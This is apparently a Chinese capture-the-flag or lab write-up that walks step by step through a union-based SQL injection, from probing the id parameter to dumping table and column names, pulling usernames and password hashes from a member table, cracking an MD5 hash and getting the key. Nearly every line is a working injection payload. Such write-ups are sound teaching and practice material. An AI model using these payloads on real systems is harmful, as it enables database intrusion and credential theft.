判断注入点,id=1 and 1=1正常,id=1 and 1=2报错,发现存在SQL注入
id =1 and 1=2 order by N#,N=1,2,3,4…发现有4列
判断回显id=1 and 1=2 union select 1,2,3,4
id=1 and 1=2 union select 1,database(),3,4发现数据库名
id=1 and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema =database(),发现表名
id=1 and 1=2 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='StormGroup_member’发现列名
id=1 and 1=2 union select 1,2,group_concat(name,’-’,password),4 from StormGroup_member得到用户密码
md5解密登陆得到keymozhe9ad0c120e73d88c14008ad62f74